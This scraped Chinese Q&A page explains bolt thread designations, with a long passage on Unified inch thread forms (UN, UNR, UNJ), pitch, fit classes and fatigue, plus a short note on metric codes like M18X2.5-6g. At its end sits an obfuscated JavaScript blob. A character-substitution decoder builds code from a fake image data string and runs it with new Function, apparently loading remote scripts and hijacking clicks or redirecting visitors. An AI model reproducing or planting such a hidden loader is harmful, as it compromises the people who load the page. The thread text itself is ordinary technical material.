机械设计基础中螺栓的代号怎么解释?

2025-02-25 21:19:58
推荐回答(2个)
回答1:

1948年11月18日,在华盛顿签署的统一螺纹协定奠定了普遍接受的螺纹标准基础。从此,统一螺纹成为所有机加工紧固件英制螺纹的标准,并且在全球通用。

本章介绍了美国乃至全球都认可的统一英制螺纹ASME标准。对各标准做了适当节选,以适合本书中的所有紧固件。

本章技术内容精确,很少有原理解释和背景介绍。因此IFI认为将本章内容介绍给对螺纹基础知识了解甚少的“外行”会十分有益。其目的是用通俗易懂的语言来解释螺纹设计的更多特性,帮助技术人员更全面地了解螺纹的正确使用。

螺纹的基本特点
螺纹的作用是给予紧固件支承和传递载荷的能力。

在设计和加工螺纹时,要考虑的几何特性和尺寸特性有超过125项之多。但是,工程师们只要熟悉其中的30种左右,就能通晓各种螺纹并了解其性能。参见图1、图2、图3(A—1,A—2和A—3页)。另外A—40和A—41页中图也有助于对本章的理解。

螺纹通常是指在内,外圆柱体表面上以螺旋线形式制出沟槽或在内,外圆锥面上按锥螺线形式制出的沟槽而形成的具有均匀截面的凸起。在圆柱体上的螺纹称作直螺纹或圆柱螺纹。在圆锥体或圆锥截体上的螺纹称作圆锥螺纹。外螺纹指螺栓、螺丝和螺柱的螺纹,内螺纹主要指螺母和自攻孔内的螺纹。

轴向截面内的螺纹结构称作螺纹牙型(轮廓),它由牙顶、牙底和牙侧三部分组成。螺纹牙顶和牙底形成尖V字型后所构成的三角形。原始三角形高度(H)J是指牙顶尖到牙底尖的径向测量距离。对于统一螺纹,H为0.866025倍的螺距。H的主要作用是用于计算螺纹设计参数。

牙顶和牙底都符合尺寸要求的螺纹为完整(全)螺纹。如果牙顶或牙底成型不完全,称为不完整螺纹。这种螺纹一般发生在螺纹紧固件的末端部和螺纹收尾处,或是在螺母和自攻孔的内倒角面上。

螺距(P)是相邻牙对应两点间沿螺纹轴线的测量距离。统一螺纹是根据每英寸的牙数设计的,即每英寸长度内所出现的完整牙数。螺距是每英寸牙数的倒数。

对于外螺纹,牙顶处的直径称为大径,牙底处的直径称为小径。对于内螺纹则正好相反牙顶处的为小径,牙底处的为大径。

牙侧与垂直于螺纹轴线的夹角称为牙侧角。当两牙侧角的角度相同时,该螺纹为对称螺纹(牙侧角称为牙型半角)。统一螺纹具有30°牙侧角,而且是对称的。常称作60°螺纹。

中径是牙厚与牙槽宽相等位置通过螺纹的理想圆柱的直径。对于理想螺纹,这两个宽度应该相等,均为螺距的一半。对于非理想螺纹,螺纹的实际中径(沿螺纹圆周或轴向任意位置处的测量值)会有变化,这种变化取决于螺纹牙型的实际偏差,此加工偏差要在允许的极限范围之内。因此在实际中,螺纹专家在中径的定义、测量和重要性方面可能会相互矛盾。但是,在螺纹设计和计算,加工刀具和模具生产以及螺纹通止量规和测量中,中径仍然是一个重要参数。“理想”中径是中径圆柱的产物,其轴线就是螺纹轴线。

螺纹基本牙型建立了内螺纹和外螺纹的绝对边界。无论内螺纹还是外螺纹,突破了这一边界就会存在潜在的干涉,螺纹可能旋合不良。正是基于这一基本牙型,通过增加基本偏差和公差,来得到螺纹的极限尺寸。

基本偏差产生了配合螺纹间的最小间隙(国际公差标准)。即当内、外螺纹加工至其最大实体牙型时,内、外螺纹之间肯定会有一定的间隙。对于紧固件,基本偏差通常用于外螺纹上,即大径、中径和小径的最大值由于基本偏差的存在而小于基本尺寸;内螺纹的最小直径--其最大实体牙型--作为基本尺寸。公差是指为方便加工而允许尺寸变化的规定值。公差为在最大与最小允许极限值之间的变动量。因此,对于外螺纹,其最大实体尺寸减去公差(向螺纹轴线方向移动)定义为其最小实体牙型尺寸。对于内螺纹,其最大实体尺寸加上公差(从螺纹轴线移开)定义为其最小实体尺寸。

配合螺纹中,基本偏差与公差的组合决定了配合情况。配合是匹配螺纹间松紧程度的量度。间隙配合可以始终确保装配后的自由转动。过盈配合需要特定的螺纹尺寸限制值以使装配后内、外螺纹间产生过盈力。

当外螺纹紧固件装配入内螺纹螺母或自攻孔时,完整螺纹的轴向接触距离为螺纹旋合长度。这些螺纹在径向上的接触距离称作螺纹的接触高度。螺纹旋合长度和接触高度都是计算螺纹强度的重要参数。

螺纹系列是几组彼此不同的直径一螺距组合,以特定直径系列和每英寸长度内的牙数来表示。对于紧固件,最常用的螺纹系列有统一粗牙、统一细牙和8牙系列。

螺纹的强度--即支持和传递载荷的能力。螺纹强度与四个应力区有关。拉伸应力区是通过螺纹的假定横截面,用于计算紧固件承受拉伸力的载荷。拉伸应力区等同于具有同一材料理论圆柱的横截面积,拉伸试验时,其机械性能承受等同的极限载荷。螺纹牙底区是外螺纹小径处的截面积。螺纹牙底区用于计算横向剪切或扭转力表示的紧固件强度。螺纹剪切区(内、外螺纹)是通过螺纹牙的有效面积,它与螺纹轴线平行,包括螺纹接触的整个长度。它承受剪切载荷,阻止螺纹脱扣。内螺纹的剪切面位于外螺纹的大径处,外螺纹的剪切面位于内螺纹的小径处。

ANSI/ASME B1.7M标准给出了螺纹的术语、定义和符号。

螺纹选择指南
针对特定的使用条件,选择最佳螺纹时有三个因素需要考虑--螺纹牙型、螺纹系列和螺纹配合等级。

螺纹牙型
螺纹牙型多种多样。但对于英制系列机械紧固件,只有三种最重要—UN、UNR和UNJ。它们都是60°对称螺纹。彼此之间的主要区别是外螺纹牙底轮廓。

1948年以前,美国国家螺纹是北美洲的螺纹标准。1948年,美国、加拿大和英国同意采用一种螺纹系统替代美国和加拿大用的美国螺纹以及英国的惠氏螺纹。他们称这一新螺纹系统为统一螺纹,这正是今天通行全球的英制紧固件螺纹标准。

统一螺纹牙型实际上与已废除的美国国家螺纹的相同。按照两个标准生产的紧固件在功能上是可以互换的。

UN螺纹
UN螺纹牙型,正像最初设计的那样,在外螺纹牙底处有平轮廓和圆形轮廓两种。每个国家可以根据本国的标准来选择。美国趋向于选择平牙底,虽然普遍认为如果将牙底做成圆角可以减少应力集中。但经济上会有所付出。滚丝牙板和刀具都很昂贵,如果用圆牙顶的模具来生产紧固件螺纹的圆牙底,无疑会多多少少增加成本。另外,也有争论说,新刀具会磨损,加工几百个工件后,牙顶便会被磨圆,再加工出的螺纹便会开始接近理想的牙型轮廓。

UNR螺纹
20世纪50年代,紧固件性能的要求急剧提高,尤其是在容易产生疲劳载荷的场合,紧固件的安全性是关键因素。提高紧固件的抗疲劳性能势在必行。一个显而易见的方法就是要求外螺纹牙底轮廓做成规定的圆弧。这便导致设计和引入了一套改进的螺纹牙型--UNR,它与UN唯一的不同在于其强制性地要求最小圆弧半径(极限值0.108—0.144倍的螺距)。最小半径(0.108P)是能够与UN牙型配合而不超出外螺纹最小实体牙型的最宽半径。最大半径(0.144P)是指在最大实体牙型下能够容纳而不产生与内螺纹的理论间隙的最宽半径。

初次接触时,要特别注明是UNR螺纹,以确保交货时紧固件为圆弧牙底。但是如今,无论是否标明是UNR,事实上公称尺寸为lin和更小的紧固件,100%都是UNR螺纹。这是因为这类尺寸的紧固件通常采用滚压螺纹,现在的标准规定滚丝板为圆牙顶。对于较大尺寸紧固件,除滚丝外,螺纹可以车削加工。如果需要圆弧牙底,必须特别指出是UNR,否则供货很可能是UN螺纹。

UNK螺纹
UNR螺纹出现后不久,又经过了进一步修改,定义为UNK。

UNK螺纹只是比NUR更精密,牙型和牙底圆弧半径极限值与NUR完全相同。其区别在于外螺纹的小径有偏差,必须检查牙底,以确保圆弧半径在规定的极限值范围内。UNK螺纹已用于圆柱头内六角螺丝和沉头螺丝标准。

1979年螺纹通止量规系统(见A-63页ASME B1.3M)建立后,UNK螺纹开始被淘汰。原因是用量规系统22检测UNR螺纹(与通止量规系统的目的是相同的)可以代替UNK螺纹。

UNJ螺纹
UNJ螺纹的设计来源于优化螺纹牙型的研究--即在不损失静强度特性的条件下具有超常的抗疲劳性能。换句话说,牙底圆弧的作用能发挥多大?

其结果是一种新的牙型诞生,定义为UNJ,牙底圆弧半径极限值0.150-0.180倍的螺距。具有这种增大圆弧,外螺纹小径就会增大并超出UN及UNR螺纹的基本牙型。结果,为避免配合螺纹间出现过盈,UNJ内螺纹的小径不得不随着增大。这意味着UNJ螺纹的螺纹接触高度会稍微缩短。但是,通过采用3A/3B级螺纹公差(UNJ螺纹所用标准公差)可以补偿此强度损失。这一公差标准可以使内、外螺纹的最小实体牙型优化。

UNJ螺纹现在是航空紧固件标准,在高度专业化的工业应用中有时也有使用。

螺纹配合
UN内螺纹应与UN和UNR外螺纹配合。实际上,不存在UNR内螺纹。

理论上,UN内螺纹不能与UNJ外螺纹装配。但是,很多大型紧固件应用商多年来一直采用这种组合并没有发现问题。计算机研究也证实,成品加工件之间的实际过盈危害可以忽略不计。尽管如此,不建议采用这种配合,尤其是带有涂层的紧固件。

UNJ内螺纹可与UNJ外螺纹装配,也可与UN配合。但是,后者配合在使用时应该小心,因为UNJ内螺纹增大的小径会减小外螺纹的螺纹牙底区抗剪切强度。

对牙底圆弧半径的其他一些认识

对于UN螺纹,没有规定牙底圆弧半径,牙底可能是平的。对于UNR螺纹,最小牙底半径为0.108P,对于UNJ螺纹为0.150P。很难想象如此微小的差异会如此重要,但确实是这样。

外螺纹牙底成圆弧会稍稍增加紧固件的静拉伸强度。原因是几何形状。随着圆弧半径的增大,小径增大而且螺纹的截面积也增大。但是,这种面积增大十分微小,可以忽略。在应力计算中,所有牙型都用同一拉伸应力面积。

牙底做成圆弧的最主要作用是增加紧固件的抗疲劳性能。

通常,机械紧固件在连接装配后都要承受某种程度的动载荷。只有极其个别的情况保持静载荷,完全不受应力波动、振动、横向应力、冲击或碰撞的影响。幸好,只在极少数连接设计中单纯把紧固件自身的疲劳特性做为主要考虑因素。但就是在这类场合也不能忽视任何提高抗疲劳性能的机会。这正是牙底做成圆弧的原因。牙底圆弧半径越大,紧固件的抗疲劳性能越好。

应力区内的疲劳失效通常发生在高应力集中区---例如槽口或横截面形状剧烈变化处。对于螺纹,截面变化和螺纹牙底都相当于槽口,特别容易受到损伤。螺纹牙底的应力集中程度最高。应力集中系数的大小直接与牙底是否要加工成圆弧相关。

计算螺纹的应力集中系数是一项极其复杂的工作。结果也不总是可靠的。因此,已经利用物理的研究方法,如光弹性分析,来研究螺纹圆弧对抗疲劳性能的影响。一个普遍认可的结论是:当所有参数(如紧固件尺寸、螺距、材料、加工方法等)一致,唯一不同是牙底圆弧时,应力集中系数能够从尖底或平底UN螺纹的6降为UNJ螺纹的3。即只将牙底加工成圆弧就可能使抗疲劳寿命提高2倍。研究还表明,这一论点适用于所有强度等级的紧固件。

内螺纹牙底通常不为圆弧。规定牙底圆弧就意味着要用圆牙顶攻丝。这样做额外费用会增加成本。幸好在常规设计的螺栓、螺母连接组合中,螺母的强度要大于螺栓,其目的是万一发生失效,总是外螺纹件失效。要更好理解这点,请参考B—30页的螺栓/螺母可容纳性概论。

螺纹系列
螺纹系列是几组直径/螺距的组合,由一系列直径和每英寸的牙数来区分。统一螺纹系统有11个标准螺纹系列。只有3种对机加工紧固件最重要
——粗牙(UNC),细牙(UNF)和8牙(8—UN)。

如今的统一粗牙螺纹是以19世纪中期惠氏发明的螺纹系列为模板。他选择相对粗大螺距的螺纹,多半是由于当时有限的加工水平。多年之后,随着生产能力的提高,生产更精密、更细螺距的螺纹成为可能。出现了许多专用螺距系列,现在称为统一细牙系列是最受欢迎的一种。随着螺纹加工技术的提高,两种螺纹系列(粗牙和细牙)显然不能满足所有的工程应用。结果,螺距系统中又加进许多恒定螺距系列,8—UN就是其中之一。这种系列只有一个螺距,适用于系列内所有直径。

回答2:

你看机械设计手册上面全部都有,自己去看吧。例如:M18X2.5-6g 螺距为2.5mm 的粗螺牙 配合等级为6g

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();